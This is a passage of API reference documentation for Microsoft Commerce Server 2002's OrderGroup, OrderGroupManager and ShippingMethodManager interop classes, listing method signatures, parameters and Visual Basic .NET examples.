The bOverWrite, nItemIndex, and strOrderFormName parameters work in a way similar to the same parameters in the PutItemValue method. Before performing the set operations, this method first ensures that the address ID exists.

[Visual Basic .NET]

Example

' oOrdGrp is a Commerce.OrderGroup object
oOrdGrp.SetShippingAddress(("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    True, 4, "testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup Properties (PIA)

Properties

Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | Object | Returns the OrderGroup object attributes. This property is read-only.


OrderGroup.LogFile Property (PIA)

The LogFile property is a read/write String that specifies the file name used for pipeline logging during the execution of the RunPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property LogFile As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string LogFile{ get; set; }

Property Value

A string containing the file name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.SavePrefix Property (PIA)

The SavePrefix property is a read/write String that specifies a key prefix that will prevent a dictionary entry from being saved to the database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SavePrefix As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string SavePrefix{ get; set; }

Property Value

A string containing the prefix.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

No dictionary entry that has a key name that begins with the value of the SavePrefix property will be saved to the database. Assuming that the SavePrefix property is set to the underscore character ("_"), if the value of _adjusted_price is $ 200 and the value of total_price is $ 400, then $ 200 will not be persisted, but $ 400 will be persisted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Value Property (PIA)

The Value property is a read-only object that contains the OrderGroup-level attributes as a dictionary.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property Value As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object get_Value{ get; }

Property Value

A Dictionary object containing the value.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroupManager Class (PIA)

Use this object to manage OrderGroup objects and their contents. This object allows you to search for orders or baskets without having to use SQL queries. It also allows for OrderGroup object deletions.

Methods

Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Find | Performs an SQL search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADODB26Lib.Recordset of OrderGroup templates for the specified user. Returns an ADODB26Lib.Recordset of the search results.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADODB26Lib.Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo objects. These object values contain the search criteria.

Properties

Property | Type | Description
DebugReturnSQL | Bool | Determines if methods of this object will run an SQL query and return the resulting recordset, or if it will construct the SQL query and return the query string. This property is read/write.
OrderFormHeaderColumns | Object | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Object | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Object | Returns a string of comma-separated OrderGroup table column names. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

OrderGroup Class

OrderForm Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderGroupManager Methods (PIA)

Methods

Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Find | Performs an SQL search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADODB26Lib.Recordset of OrderGroup templates for the specified user. Returns an ADODB26Lib.Recordset of the search results.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADODB26Lib.Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo objects. These object values contain the search criteria.


OrderGroupManager.DeleteOrderGroupFromDisk Method (PIA)

Use this method to check whether a connection to the database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database. Use this method for OrderGroup objects saved as baskets and templates.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)
[C#]

using Microsoft.CommerceServer.Interop.Orders;

…

public void DeleteOrderGroupFromDisk(
  string OrderGroupID
);

Parameters

[Visual Basic .NET]
OrderGroupID
A String that contains the OrderGroup ID.
[C#]
OrderGroupID
A string that contains the OrderGroup ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteOrderGroupFromDisk(sOrderGroupID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.DeleteReceiptGroupFromDisk Method (PIA)

Use this method to check whether a connection to the site database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database. Use this method for OrderGroup objects saved as orders.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteReceiptGroupFromDisk(
  OrderGroupId As String)
[C#]
Imports Microsoft.CommerceServer.Interop.Orders;
…
Public void DeleteReceiptGroupFromDisk(
  String OrderGroupId
);

Parameters

[Visual Basic .NET]
OrderGroupId
A String that contains the OrderGroup ID.
[C#]
OrderGroupId
A string that contains the OrderGroup ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.GetOrderSummary Method (PIA)

Use this method to return a recordset containing the summary information for the order.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function DeleteReceiptFromGroup(
  oid As Object
) As Object
[C#]
Imports Microsoft.CommerceServer.Interop.Orders
…
public object DeleteReceiptFromGroup(
  object oid
);

Parameters

[Visual Basic .NET]
oid
An Object that contains the OrderGroup object ID.
[C#]
oid
An object that contains the OrderGroup object ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns the keys saved_cy_adjust_subtotal and total_line_items for the given order_group_id.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.Find Method (PIA)

Use this method to perform an SQL search based on the specified SQL clause fragments.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function Find(
  OrderGroupCriteriaArray As Object,
  OrderFormCriteriaArray As Object,
  LineItemCriteriaArray As Object,
  Optional SearchDateTimeColumn As Object,
  Optional SearchDateTimeStart As Object,
  Optional SearchDateTimeEnd As Object,
  Optional StatusFilter As Integer,
  Optional JoinOrderFormInfo As Boolean,
  Optional JoinLineItemInfo As Boolean,
  Optional Columns As Object,
  Optional OrderGroupSortColumn As Object,
  Optional SortDirection As Object,
  Optional PageSize As Integer,
  Optional PageNumber As Integer,
  Optional ByRef outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object Find(
  object OrderGroupCriteriaArray,
  object OrderFormCriteriaArray,
  object LineItemCriteriaArray,
  object SearchDateTimeColumn,
  object SearchDateTimeStart,
  object SearchDateTimeEnd,
  int StatusFilter,
  boolbool JoinOrderFormInfo,
  boolbool JoinLineItemInfo,
  object Columns,
  object OrderGroupSortColumn,
  object SortDirection,
  int PageSize,
  int PageNumber,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
OrderGroupCriteriaArray
An Object that contains the SQL clause used to search for a specific set of OrderGroup objects.
OrderFormCriteriaArray
An Object that contains the SQL clause used to search for a specific set of OrderForm objects.
LineItemCriteriaArray
An Object that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn
An Object that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This parameter is optional.
SearchDateTimeStart
An Object that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This parameter is optional.
SearchDateTimeEnd
An Object that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This parameter is optional.
StatusFilter
An Integer that stores the OrderGroup object status. This parameter is optional.
JoinOrderFormInfo
A Boolean indicating whether to include the OrderFormHeader table in the results. This parameter is optional.
JoinLineItemInfo
A Boolean indicating whether to include the OrderFormLineItems table in the results. This parameter is optional.
Columns
An Object that contains the names of the columns to return in addition to the default columns. This parameter is optional.
OrderGroupSortColumn
An Object that contains the OrderGroup column name to sort on. This parameter is optional.
SortDirection
An Object that contains the sort direction. This parameter is optional; possible values for this parameter are the SQL strings "ASC" or "DESC".
PageSize
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageSize parameter is an Integer that contains the number of line items per page. This parameter setting must be coordinated with the PageNumber parameter. This parameter is optional and has a default value of 20.
PageNumber
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageNumber parameter is an Integer that contains the page number to jump to. This parameter setting must be coordinated with the PageSize parameter. This parameter is optional.
outTotalRecordsFound
An Object that specifies the total number of records found.
[C#]
OrderGroupCriteriaArray
An object that contains the SQL clause used to search for a specific set of OrderGroup objects.
OrderFormCriteriaArray
An object that contains the SQL clause used to search for a specific set of OrderForm objects.
LineItemCriteriaArray
An object that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn
An object that specifies the DateTime column name to search for; if set to Type.Missing, the DateTime column name does not become part of the search criteria.
SearchDateTimeStart
An object that specifies the DateTime start value to search for; if set to Type.Missing, the DateTime start value does not become part of the search criteria.
SearchDateTimeEnd
An object that specifies the DateTime end value to search for; if set to Type.Missing, the DateTime end value does not become part of the search criteria.
StatusFilter
An int that stores the OrderGroup status. Set to 0 for default.
JoinOrderFormInfo
A bool indicating whether to include the OrderFormHeader table in the results.
JoinLineItemInfo
A bool indicating whether to include the OrderFormLineItems table in the results.
Columns
An object that contains the names of the columns to return in addition to the default columns. Set to Type.Missing to return no additional columns.
OrderGroupSortColumn
An object that contains the OrderGroup column name to sort on. Set to Type.Missing in order to not specify a sort column.
SortDirection
An object that contains the sort direction. This parameter is optional; possible values for this parameter are the SQL strings "ASC" or "DESC". Set to Type.Missing in order to not specify a sort direction.
PageSize
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageSize parameter is an int that contains the number of line items per page. This parameter setting must be coordinated with the PageNumber parameter. Set to Type.Missing to use the default value of 20.
PageNumber
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageNumber parameter is an int that contains the page number to jump to. This parameter setting must be coordinated with the PageSize parameter. Set to Type.Missing to use the default value of 1.
outTotalRecordsFound
A reference to an object that specifies the total number of records found. Set the object to Type.Missing if the returned value is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the Recordset containing the result set that meets the search criteria.

[C#] This method returns an ADODB26Lib.Recordset containing the result set that meets the search criteria.

Exceptions

[Visual Basic .NET] This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oRecordset is an Object
' oOrderGroupCriteriaArray is an Object
' oOrderFormCriteriaArray is an Object
' oLineItemCriteriaArray is an Object
' oOrderGroupManager is a Commerce OrderGroupManager object
oRecordset = oOrderGroupManager.Find(oOrderGroupCriteriaArray, _
    oOrderFormCriteriaArray, oLineItemCriteriaArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

OrderGroupManager Class

OrderGroupManager.SimpleFind


OrderGroupManager.FindTemplatesForUser Method (PIA)

Use this method to build and return a Recordset of OrderGroup templates for the specified user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FindTemplatesForUser(
  Optional UserId As String,
  Optional SearchDateTimeColumn As Object,
  Optional SearchDateTimeStart As Object,
  Optional SearchDateTimeEnd As Object,
  Optional JoinOrderFormInfo As Object,
  Optional JoinLineItemInfo As Object,
  Optional Columns As Object,
  Optional OrderGroupSortColumn As Object,
  Optional SortDirection As Object,
  Optional PageSize As Integer,
  Optional PageNumber As Integer,
  Optional outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object FindTemplatesForUser(
  string UserId,
  objectSearchDateTimeColumn,
  objectSearchDateTimeStart,
  objectSearchDateTimeEnd,
  bool JoinOrderFormInfo,
  bool JoinLineItemInfo,
  objectColumns,
  objectOrderGroupSortColumn,
  objectSortDirection,
  int PageSize,
  int PageNumber,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
UserId
A String that contains the User ID GUID.
SearchDateTimeColumn
An Object that contains the DateTime column name to use in the search.
SearchDateTimeStart
An Object that contains the search DateTime start value.
SearchDateTimeEnd
An Object that contains the search DateTime end value.
JoinOrderFormInfo
A Boolean that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinLineItemInfo
A Boolean that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
Columns
An Object that contains the names of columns that you want returned in addition to the default columns.
OrderGroupSortColumn
An Object that contains the OrderGroup sort column.
SortDirection
An Object that contains the sort direction.
PageSize
An Integer that contains the page size.
PageNumber
An Integer that contains the page number.
outTotalRecordsFound
An Object that contains the total number of records found. This parameter is optional.
[C#]
UserId
A string that contains the User ID GUID.
SearchDateTimeColumn
An object that contains the DateTime column name to use in the search. Set to Type.Missing to not use a DateColumn search column.
SearchDateTimeStart
An object that contains the search DateTime start value. Set to Type.Missing to not search using a start value.
SearchDateTimeEnd
An object that contains the search DateTime end value. Set to Type.Missing to not search using an end value.
JoinOrderFormInfo
A bool that indicates whether the OrderFormHeader table is included in the search. A value of true indicates that the table is included. A value of false indicates that the table is not included.
JoinLineItemInfo
A bool that indicates whether the OrderFormLineItem table is included in the search. A value of true indicates that the table is included. A value of false indicates that the table is not included.
Columns
An object that contains the names of columns that you want returned in addition to the default columns. Set to Type.Missing to include no additional columns.
OrderGroupSortColumn
An object that contains the OrderGroup sort column. Set to Type.Missing to not specify an OrderGroup sort column.
SortDirection
An object that contains the sort direction. Set to Type.Missing to not specify a sort direction.
PageSize
An int that contains the page size. Set to Type.Missing to use the default value of 20.
PageNumber
An int that contains the page number.
outTotalRecordsFound
A reference to the object that contains the total number of records found. Set an object to Type.Missing if the returned value is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains a Recordset of the search results.

[C#] This method returns an ADO Recordset of the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.FindTemplatesForUser("{11223344-1122-1122-1122- _
    AABBCCDDEEFF}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class

Business Process Classs


OrderGroupManager.Initialize Method (PIA)

Use this method to create a connection to the specified database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  ConnectionString As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  ref object ConnectionString
);

Parameters

[Visual Basic .NET]
ConnectionString
An Object that contains the database connection string.
[C#]
ConnectionString
A reference to an object that contains the database connection string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oConnectionString is an Object containing a database connection string
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.Initialize(oConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.SimpleDelete Method (PIA)

Use this method to delete all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SimpleDelete(
  sfSearchInfo As ISimpleFindSearchInfo,
  sfResultInfo As ISimpleFindResultInfo
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SimpleDelete(
  ISimpleFindSearchInfo sfSearchInfo,
  ISimpleFindResultInfo sfResultInfo,
);

Parameters

[Visual Basic .NET]
sfSearchInfo
An object that implements the ISimpleFindSearchInfo interface containing the search criteria.
sfResultInfo
An object that implements the ISimpleFindResultInfo interface containing the search results.
[C#]
sfSearchInfo
The ISimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo
The ISimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search results.

Return Values

An object containing the number of entries deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oSimpleFindSearchInfo is a Commerce SimpleFindSearchInfo object
' oSimpleFindResultInfo is a Commerce SimpleFindResultInfo object
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.SimpleDelete(oSimpleFindSearchInfo, _
    oSimpleFindResultInfo)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.SimpleFind Method (PIA)

Use this method to retrieve an ADO Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo object values. These object values contain the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SimpleFind(
  sfSearchInfo As ISimpleFindSearchInfo,
  sfResultInfo As ISimpleFindResultInfo,
  Optional ByRef outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object SimpleFind(
  ISimpleFindSearchInfo sfSearchInfo,
  ISimpleFindResultInfo sfResultInfo,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
sfSearchInfo
An object that implements the ISimpleFindSearchInfo interface containing the search criteria.
sfResultInfo
An object that implements the ISimpleFindResultInfo interface containing the search results.
outTotalRecordsFound
An Object that contains the total number of records found.
[C#]
sfSearchInfo
The ISimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.

sfResultInfo

The ISimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search criteria.

outTotalRecordsFound
A reference to an object that contains the total number of records found.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset that contains the search result OrderGroup items.

[C#] This method returns a Recordset of the OrderGroup items.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim oSFSearch, sReqID, oOGMgr
' oOGMgr is a Commerce.OrderGroupManager object
oSFSearch = New SimpleFindSearchInfo()
' Search for this OrderGroup ID
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID

Dim oSFResult
osfResult = New SimpleFindResultInfo()
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True

Dim oRSResults
oRSResults = New Recordset()

oRSResults = oOGMgr.SimpleFind(oSFSearch, oSFResult)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

Order Processing Objects

OrderGroupManager Class


OrderGroupManager Properties (PIA)

Properties

Property | Type | Description
DebugReturnSQL | Bool | Determines if methods of this object will run an SQL query and return the resulting recordset, or if it will construct the SQL query and return the query string. This property is read/write.
OrderFormHeaderColumns | Object | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Object | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Object | Returns a string of comma-separated OrderGroup table column names. This property is read-only.


OrderGroupManager.DebugReturnSQL Property (PIA)

The DebugReturnSQL property is a read/write Boolean that determines if the methods of the OrderGroupManager object will run an SQL query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is intended for internal use only and should not be called externally.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public property DeleteReturnSQL As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool DeleteReturnSQL( get; set);

Parameters

[C#] [in] When putting a value, a Bool used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.
[out, retval] When getting a value, a Bool used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.

Remarks

If the DebugReturnSQL property is set to False, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query, run the query, and return the resulting recordset.

If the DebugReturnSQL property is set to True, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query and return the query string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.OrderFormHeaderColumns Property (PIA)

The OrderFormHeaderColumns property is a read-only object that contains a collection of OrderFormHeader table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderFormHeaderColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderFormHeaderColumns {get; };

Property Value

An object containing a collection of OrderForm header table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.OrderFormLineItemsColumns Property (PIA)

The OrderFormLineItemsColumns property is a read-only object that contains a collection of OrderFormLineItems table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderFormLineItemsColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderFormLineItemsColumns {get; }

Property Value

An object containing a collection of LineItem table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.OrderGroupColumns Property (PIA)

The OrderGroupColumns property is a read-only Object that contains a collection of OrderGroup table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderGroupColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderGroupColumns {get; }

Property Value

An object containing the collection of OrderGroup table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


ShippingMethodManager Class (PIA)

Use this object to manage shipping methods that will be available on the site. The ShippingMethodManager object lets you add and remove methods, and set their description, availability, and configuration.

Methods

Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a Recordset containing the current shipping methods.
GetMethodInfo | Returns a Recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets pairs of names and values for the current method.

Remarks

The shipping architecture in Microsoft Commerce Server 2002 is designed so that shipping methods can be changed through the Shipping Methods module in Commerce Server Business Desk without programming or editing pipelines. To do this, Commerce Server maintains a database table, ShippingConfig, of shipping methods and the information required to configure shipping components to implement those methods.

The ShippingMethodManager object is used by Business Desk to manage the ShippingConfig database table.

For more information about shipping objects, see Overview of the Multiple-shipment Shipping Architecture.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)


ShippingMethodManager Methods (PIA)

Methods

Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a Recordset containing the current shipping methods.
GetMethodInfo | Returns a Recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets pairs of names and values for the current method.


ShippingMethodManager.CreateMethodInstance Method (PIA)

Use this method to create a new shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function CreateMethodInstance(
  ByRef bOnDisk As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object CreateMethodInstance(
  ref object bOnDisk
);

Parameters

[Visual Basic .NET]
bOnDisk
An Object containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True.
[C#]
bOnDisk
An object containing a bool value indicating whether or not to create the shipping method on disk. This parameter is usually set to True.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing a string that is the method ID of the new shipping method. The method returns an empty string when the bOnDisk parameter is False.

[C#] This method returns an object containing a string that is the method ID of the new method. It is set to an empty string value if the bOnDisk parameter is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the shipping method is created to be saved on disk (the bOnSaved parameter is True), the function adds a new record to the current recordset with the enabled column value set to zero (0) and the shipping_method_id column set to the new shipping method ID.

[Visual Basic .NET]

Example

' Initialize the ShippingMethodManager object
' oSMM is a Commerce.ShippingMethodManager object
' MSCSTransactionConfigConnStr is sConnectionString, a string containing
' the connection string

oSMM.Initialize(MSCSTransactionConfigConnStr)

' Create a new shipping method
' bOnDisk is set to True
' sShippingMethodID is sMethodID
sShippingMethodID = oSMM.CreateMethodInstance(True)

' Set the configuration data for the pipeline component
' sProgID, sAction, and sActionFrientlyName are strings
' dConfigDict is a Commerce.Dictionary object

oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

' Set properties for the shipping method
Dim aParamsAndValues as System.Array
aParamsAndValues(0) = "shipping_method_name"
aParamsAndValues(1) = "My Shipping Method"
aParamsAndValues(2) = "description"
aParamsAndValues(3) = "Cheapest but slowest shipping method"
aParamsAndValues(4) = "enabled"
aParamsAndValues(5) = 1

oSMM.SetMethodConfig(aParamsAndValues)

' Save the configured shipping method
oSMM.SaveMethodConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

